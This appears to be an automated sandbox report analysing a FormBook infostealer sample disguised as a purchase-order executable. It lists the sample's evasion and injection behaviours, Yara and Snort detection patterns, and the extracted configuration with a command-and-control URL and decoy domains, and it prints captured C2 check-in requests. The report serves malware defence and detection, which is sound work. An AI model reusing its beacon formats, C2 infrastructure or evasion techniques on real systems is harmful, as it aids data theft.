Play interactive tour

Edit tour

Analysis Report PO 367628usa.exe

Overview

General Information

Sample Name:	PO 367628usa.exe
Analysis ID:	412247
MD5:	42cf4c3943d5a839412a16a4d8b8d65d
SHA1:	f26230352a412de0ca8b1ffc6fc07838b878a68a
SHA256:	1ceec55d4acbb8db907798df6b1be5832f32d2d4e459c5bd08d0252a0763b30c
Infos:
Most interesting Screenshot:

Detection

FormBook

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Detected unpacking (changes PE section rights)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

System process connects to network (likely due to code injection or exploit)

Yara detected AntiVM3

Yara detected FormBook

C2 URLs / IPs found in malware configuration

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Injects a PE file into a foreign processes

Machine Learning detection for sample

Maps a DLL or memory area into another process

Modifies the context of a thread in another process (thread injection)

PE file contains section with special chars

PE file has nameless sections

Queues an APC in another process (thread injection)

Sample uses process hollowing technique

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to detect virtualization through RDTSC time measurements

Antivirus or Machine Learning detection for unpacked file

Checks if the current process is being debugged

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a DirectInput object (often for capturing keystrokes)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Enables debug privileges

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains sections with non-standard names

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Startup

System is w10x64

PO 367628usa.exe (PID: 6596 cmdline: 'C:\Users\user\Desktop\PO 367628usa.exe' MD5: 42CF4C3943D5A839412A16A4D8B8D65D)

PO 367628usa.exe (PID: 6692 cmdline: C:\Users\user\Desktop\PO 367628usa.exe MD5: 42CF4C3943D5A839412A16A4D8B8D65D)

PO 367628usa.exe (PID: 6700 cmdline: C:\Users\user\Desktop\PO 367628usa.exe MD5: 42CF4C3943D5A839412A16A4D8B8D65D)

PO 367628usa.exe (PID: 6716 cmdline: C:\Users\user\Desktop\PO 367628usa.exe MD5: 42CF4C3943D5A839412A16A4D8B8D65D)

PO 367628usa.exe (PID: 6724 cmdline: C:\Users\user\Desktop\PO 367628usa.exe MD5: 42CF4C3943D5A839412A16A4D8B8D65D)

explorer.exe (PID: 3440 cmdline: MD5: AD5296B280E8F522A8A897C96BAB0E1D)

raserver.exe (PID: 7104 cmdline: C:\Windows\SysWOW64\raserver.exe MD5: 2AADF65E395BFBD0D9B71D7279C8B5EC)

cmd.exe (PID: 5544 cmdline: /c del 'C:\Users\user\Desktop\PO 367628usa.exe' MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 5804 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cleanup

Malware Configuration

Threatname: FormBook

{"C2 list": ["www.uuoouu-90.store/meub/"], "decoy": ["ebookcu.com", "sherwooddaydesigns.com", "healthcarebb.com", "pixelflydesigns.com", "youtegou.net", "audiokeychin.com", "rioranchoeventscenter.com", "nickofolas.com", "comicstattoosnguns.com", "ally.tech", "paperplaneexplorer.com", "janetkk.com", "sun1981.com", "pocopage.com", "shortagegoal.com", "tbluelinux.com", "servantsheartvalet.com", "jkhushal.com", "91huangyu.com", "portlandconservatory.net", "crazyasskaren.com", "gr8.photos", "silviabiasiolipatisserie.com", "goeseo.com", "shellyluther.com", "salvemosalsuroeste.com", "technologies.email", "xn--80aasvjfhla.xn--p1acf", "dmowang.com", "mylifeusaaatworkportal.com", "electronicszap.com", "thefrankversion.com", "patricksparber.com", "m-kenterprises.com", "goodcreditcardshome.info", "shegotit.club", "nutinbutter.com", "bridgestreetresources.com", "tjanyancha.com", "qqstoneandcabinet.com", "topstitch.info", "shadyshainarae.com", "meucamarimoficial.com", "gatedless.net", "aal888.com", "tstcongo.com", "luckyladybugnailswithlisa.com", "usapersonalshopper.com", "893645tuerigjo.com", "pbjusering.com", "katbumydbnjk.mobi", "bostonm.info", "amesshop.com", "k-9homefinders.com", "philbaileyrealestate.com", "ahxinnuojie.com", "ardougne.com", "pasteleriaruth.com", "vauvakuumettapodcast.com", "aryamakoran.com", "digitalspacepod.com", "clarkstrain.com", "plantbasedranch.com", "therapylightclub.com"]}

Yara Overview

Memory Dumps

Source	Rule	Description	Author	Strings
00000009.00000002.588488580.0000000000910000.00000040.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000009.00000002.588488580.0000000000910000.00000040.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x85e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8982:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x14695:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14181:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x14797:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1490f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x939a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x133fc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa112:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x19787:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1a82a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000009.00000002.588488580.0000000000910000.00000040.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x166b9:$sqlite3step: 68 34 1C 7B E1 0x167cc:$sqlite3step: 68 34 1C 7B E1 0x166e8:$sqlite3text: 68 38 2A 90 C5 0x1680d:$sqlite3text: 68 38 2A 90 C5 0x166fb:$sqlite3blob: 68 53 D8 7F 8C 0x16823:$sqlite3blob: 68 53 D8 7F 8C
00000009.00000002.589496878.0000000002E40000.00000040.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000009.00000002.589496878.0000000002E40000.00000040.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x85e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8982:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x14695:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14181:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x14797:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1490f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x939a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x133fc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa112:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x19787:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1a82a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000009.00000002.589496878.0000000002E40000.00000040.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x166b9:$sqlite3step: 68 34 1C 7B E1 0x167cc:$sqlite3step: 68 34 1C 7B E1 0x166e8:$sqlite3text: 68 38 2A 90 C5 0x1680d:$sqlite3text: 68 38 2A 90 C5 0x166fb:$sqlite3blob: 68 53 D8 7F 8C 0x16823:$sqlite3blob: 68 53 D8 7F 8C
00000009.00000002.589661592.0000000002E70000.00000004.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000009.00000002.589661592.0000000002E70000.00000004.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x85e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8982:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x14695:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14181:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x14797:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1490f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x939a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x133fc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa112:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x19787:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1a82a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000009.00000002.589661592.0000000002E70000.00000004.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x166b9:$sqlite3step: 68 34 1C 7B E1 0x167cc:$sqlite3step: 68 34 1C 7B E1 0x166e8:$sqlite3text: 68 38 2A 90 C5 0x1680d:$sqlite3text: 68 38 2A 90 C5 0x166fb:$sqlite3blob: 68 53 D8 7F 8C 0x16823:$sqlite3blob: 68 53 D8 7F 8C
00000000.00000002.347022763.00000000039F5000.00000004.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000000.00000002.347022763.00000000039F5000.00000004.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0xf8d98:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0xf9132:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x1201b8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x120552:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x104e45:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x12c265:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x104931:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x12bd51:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x104f47:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x12c367:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1050bf:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x12c4df:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xf9b4a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x120f6a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x103bac:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0x12afcc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xfa8c2:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x121ce2:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x109f37:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x131357:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x10afda:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000000.00000002.347022763.00000000039F5000.00000004.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x106e69:$sqlite3step: 68 34 1C 7B E1 0x106f7c:$sqlite3step: 68 34 1C 7B E1 0x12e289:$sqlite3step: 68 34 1C 7B E1 0x12e39c:$sqlite3step: 68 34 1C 7B E1 0x106e98:$sqlite3text: 68 38 2A 90 C5 0x106fbd:$sqlite3text: 68 38 2A 90 C5 0x12e2b8:$sqlite3text: 68 38 2A 90 C5 0x12e3dd:$sqlite3text: 68 38 2A 90 C5 0x106eab:$sqlite3blob: 68 53 D8 7F 8C 0x106fd3:$sqlite3blob: 68 53 D8 7F 8C 0x12e2cb:$sqlite3blob: 68 53 D8 7F 8C 0x12e3f3:$sqlite3blob: 68 53 D8 7F 8C
00000000.00000002.346118335.00000000029F3000.00000004.00000001.sdmp	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
00000005.00000002.389944333.0000000001440000.00000040.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000005.00000002.389944333.0000000001440000.00000040.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x85e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8982:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x14695:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14181:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x14797:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1490f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x939a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x133fc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa112:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x19787:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1a82a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000005.00000002.389944333.0000000001440000.00000040.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x166b9:$sqlite3step: 68 34 1C 7B E1 0x167cc:$sqlite3step: 68 34 1C 7B E1 0x166e8:$sqlite3text: 68 38 2A 90 C5 0x1680d:$sqlite3text: 68 38 2A 90 C5 0x166fb:$sqlite3blob: 68 53 D8 7F 8C 0x16823:$sqlite3blob: 68 53 D8 7F 8C
00000005.00000002.390287791.0000000001860000.00000040.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000005.00000002.390287791.0000000001860000.00000040.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x85e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8982:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x14695:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14181:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x14797:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1490f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x939a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x133fc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa112:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x19787:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1a82a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000005.00000002.390287791.0000000001860000.00000040.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x166b9:$sqlite3step: 68 34 1C 7B E1 0x167cc:$sqlite3step: 68 34 1C 7B E1 0x166e8:$sqlite3text: 68 38 2A 90 C5 0x1680d:$sqlite3text: 68 38 2A 90 C5 0x166fb:$sqlite3blob: 68 53 D8 7F 8C 0x16823:$sqlite3blob: 68 53 D8 7F 8C
00000005.00000002.388446461.0000000000400000.00000040.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000005.00000002.388446461.0000000000400000.00000040.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x85e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8982:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x14695:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14181:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x14797:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1490f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x939a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x133fc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa112:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x19787:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1a82a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000005.00000002.388446461.0000000000400000.00000040.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x166b9:$sqlite3step: 68 34 1C 7B E1 0x167cc:$sqlite3step: 68 34 1C 7B E1 0x166e8:$sqlite3text: 68 38 2A 90 C5 0x1680d:$sqlite3text: 68 38 2A 90 C5 0x166fb:$sqlite3blob: 68 53 D8 7F 8C 0x16823:$sqlite3blob: 68 53 D8 7F 8C
Process Memory Space: PO 367628usa.exe PID: 6596	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Click to see the 18 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
5.2.PO 367628usa.exe.400000.0.raw.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
5.2.PO 367628usa.exe.400000.0.raw.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x85e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8982:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x14695:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14181:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x14797:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1490f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x939a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x133fc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa112:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x19787:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1a82a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
5.2.PO 367628usa.exe.400000.0.raw.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x166b9:$sqlite3step: 68 34 1C 7B E1 0x167cc:$sqlite3step: 68 34 1C 7B E1 0x166e8:$sqlite3text: 68 38 2A 90 C5 0x1680d:$sqlite3text: 68 38 2A 90 C5 0x166fb:$sqlite3blob: 68 53 D8 7F 8C 0x16823:$sqlite3blob: 68 53 D8 7F 8C
5.2.PO 367628usa.exe.400000.0.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
5.2.PO 367628usa.exe.400000.0.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x77e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x7b82:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x13895:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x13381:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x13997:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x13b0f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x859a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x125fc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0x9312:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x18987:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x19a2a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
5.2.PO 367628usa.exe.400000.0.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x158b9:$sqlite3step: 68 34 1C 7B E1 0x159cc:$sqlite3step: 68 34 1C 7B E1 0x158e8:$sqlite3text: 68 38 2A 90 C5 0x15a0d:$sqlite3text: 68 38 2A 90 C5 0x158fb:$sqlite3blob: 68 53 D8 7F 8C 0x15a23:$sqlite3blob: 68 53 D8 7F 8C
Click to see the 1 entries

Sigma Overview

No Sigma rule has matched

Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Found malware configuration

Show sources

Source: 00000009.00000002.588488580.0000000000910000.00000040.00000001.sdmp

Malware Configuration Extractor: FormBook {"C2 list": ["www.uuoouu-90.store/meub/"], "decoy": ["ebookcu.com", "sherwooddaydesigns.com", "healthcarebb.com", "pixelflydesigns.com", "youtegou.net", "audiokeychin.com", "rioranchoeventscenter.com", "nickofolas.com", "comicstattoosnguns.com", "ally.tech", "paperplaneexplorer.com", "janetkk.com", "sun1981.com", "pocopage.com", "shortagegoal.com", "tbluelinux.com", "servantsheartvalet.com", "jkhushal.com", "91huangyu.com", "portlandconservatory.net", "crazyasskaren.com", "gr8.photos", "silviabiasiolipatisserie.com", "goeseo.com", "shellyluther.com", "salvemosalsuroeste.com", "technologies.email", "xn--80aasvjfhla.xn--p1acf", "dmowang.com", "mylifeusaaatworkportal.com", "electronicszap.com", "thefrankversion.com", "patricksparber.com", "m-kenterprises.com", "goodcreditcardshome.info", "shegotit.club", "nutinbutter.com", "bridgestreetresources.com", "tjanyancha.com", "qqstoneandcabinet.com", "topstitch.info", "shadyshainarae.com", "meucamarimoficial.com", "gatedless.net", "aal888.com", "tstcongo.com", "luckyladybugnailswithlisa.com", "usapersonalshopper.com", "893645tuerigjo.com", "pbjusering.com", "katbumydbnjk.mobi", "bostonm.info", "amesshop.com", "k-9homefinders.com", "philbaileyrealestate.com", "ahxinnuojie.com", "ardougne.com", "pasteleriaruth.com", "vauvakuumettapodcast.com", "aryamakoran.com", "digitalspacepod.com", "clarkstrain.com", "plantbasedranch.com", "therapylightclub.com"]}

Multi AV Scanner detection for submitted file

Show sources

Source: PO 367628usa.exe

Virustotal: Detection: 35%

Perma Link

Yara detected FormBook

Show sources

Source: Yara match	File source: 00000009.00000002.588488580.0000000000910000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.589496878.0000000002E40000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.589661592.0000000002E70000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.347022763.00000000039F5000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.389944333.0000000001440000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.390287791.0000000001860000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.388446461.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 5.2.PO 367628usa.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.PO 367628usa.exe.400000.0.unpack, type: UNPACKEDPE

Machine Learning detection for sample

Show sources

Source: PO 367628usa.exe

Joe Sandbox ML: detected

Source: 5.2.PO 367628usa.exe.400000.0.unpack

Avira: Label: TR/Crypt.ZPACK.Gen

Source: PO 367628usa.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Source: PO 367628usa.exe

Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Source:	Binary string: wscui.pdbUGP source: explorer.exe, 00000006.00000000.372619692.000000000DC20000.00000002.00000001.sdmp
Source:	Binary string: wntdll.pdbUGP source: PO 367628usa.exe, 00000005.00000002.390342174.00000000018A0000.00000040.00000001.sdmp, raserver.exe, 00000009.00000002.590539014.0000000004BB0000.00000040.00000001.sdmp
Source:	Binary string: wntdll.pdb source: PO 367628usa.exe, raserver.exe
Source:	Binary string: RAServer.pdb source: PO 367628usa.exe, 00000005.00000002.391160036.00000000034E0000.00000040.00000001.sdmp
Source:	Binary string: RAServer.pdbGCTL source: PO 367628usa.exe, 00000005.00000002.391160036.00000000034E0000.00000040.00000001.sdmp
Source:	Binary string: wscui.pdb source: explorer.exe, 00000006.00000000.372619692.000000000DC20000.00000002.00000001.sdmp

Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 4x nop then cmp dword ptr [ebp-20h], 00000000h
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 4x nop then cmp dword ptr [ebp-20h], 00000000h
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 4x nop then pop esi
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4x nop then pop esi

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Show sources

Source: Traffic	Snort IDS: 2031453 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.6:49744 -> 209.182.202.96:80
Source: Traffic	Snort IDS: 2031449 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.6:49744 -> 209.182.202.96:80
Source: Traffic	Snort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.6:49744 -> 209.182.202.96:80
Source: Traffic	Snort IDS: 2031453 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.6:49752 -> 34.102.136.180:80
Source: Traffic	Snort IDS: 2031449 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.6:49752 -> 34.102.136.180:80
Source: Traffic	Snort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.6:49752 -> 34.102.136.180:80

C2 URLs / IPs found in malware configuration

Show sources

Source: Malware configuration extractor

URLs: www.uuoouu-90.store/meub/

Source: global traffic	HTTP traffic detected: GET /meub/?5jYHTPD=WGLirrwFUtYpDXzpLjvBuZZEIXcS0L/7kvp4uO4ypDpemvycQ/ZH3e36klWLP588DVSUgz18wg==&W2MTZ=5jyDHn6x2rY HTTP/1.1Host: www.servantsheartvalet.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /meub/?5jYHTPD=AHOwzMgiYatzzgqEm8fFrRw5FyeBXJPWAn72SIj91D3zxHtkj2kvoxgZPNykIH4K/OrW/jgvcw==&W2MTZ=5jyDHn6x2rY HTTP/1.1Host: www.m-kenterprises.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /meub/?5jYHTPD=wcKMzz9mAcCi2aLb0t1qtV86GlMNvZH+VyhKA1jT/I4bq+nb0/na/dj3wGs+8qrOUrJA87J5aQ==&W2MTZ=5jyDHn6x2rY HTTP/1.1Host: www.bridgestreetresources.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /meub/?5jYHTPD=IF6wwdQ2GC/v5+zeo737nU5N5nLUvdsVBqkfZ3TmK32/J3TLHA8Ym95CSjw9+1sG86DK55WYOQ==&W2MTZ=5jyDHn6x2rY HTTP/1.1Host: www.shadyshainarae.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:

Source: Joe Sandbox View

IP Address: 66.235.200.147 66.235.200.147

Source: Joe Sandbox View	ASN Name: XIAOZHIYUN1-AS-APICIDCNETWORKUS XIAOZHIYUN1-AS-APICIDCNETWORKUS
Source: Joe Sandbox View	ASN Name: IMH-WESTUS IMH-WESTUS
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: global traffic	HTTP traffic detected: GET /meub/?5jYHTPD=WGLirrwFUtYpDXzpLjvBuZZEIXcS0L/7kvp4uO4ypDpemvycQ/ZH3e36klWLP588DVSUgz18wg==&W2MTZ=5jyDHn6x2rY HTTP/1.1Host: www.servantsheartvalet.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /meub/?5jYHTPD=AHOwzMgiYatzzgqEm8fFrRw5FyeBXJPWAn72SIj91D3zxHtkj2kvoxgZPNykIH4K/OrW/jgvcw==&W2MTZ=5jyDHn6x2rY HTTP/1.1Host: www.m-kenterprises.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /meub/?5jYHTPD=wcKMzz9mAcCi2aLb0t1qtV86GlMNvZH+VyhKA1jT/I4bq+nb0/na/dj3wGs+8qrOUrJA87J5aQ==&W2MTZ=5jyDHn6x2rY HTTP/1.1Host: www.bridgestreetresources.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /meub/?5jYHTPD=IF6wwdQ2GC/v5+zeo737nU5N5nLUvdsVBqkfZ3TmK32/J3TLHA8Ym95CSjw9+1sG86DK55WYOQ==&W2MTZ=5jyDHn6x2rY HTTP/1.1Host: www.shadyshainarae.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:

Source: unknown

DNS traffic detected: queries for: www.servantsheartvalet.com

Source: PO 367628usa.exe, 00000000.00000002.345992279.00000000029A1000.00000004.00000001.sdmp	String found in binary or memory: http://checkip.dyndns.org/
Source: explorer.exe, 00000006.00000000.371695553.000000000B1A6000.00000002.00000001.sdmp	String found in binary or memory: http://fontfabrik.com
Source: PO 367628usa.exe, 00000000.00000002.346748080.0000000002EB0000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: PO 367628usa.exe, 00000000.00000002.345992279.00000000029A1000.00000004.00000001.sdmp	String found in binary or memory: http://servermanager.miixit.org/1
Source: PO 367628usa.exe, 00000000.00000002.345992279.00000000029A1000.00000004.00000001.sdmp	String found in binary or memory: http://servermanager.miixit.org/downloads/
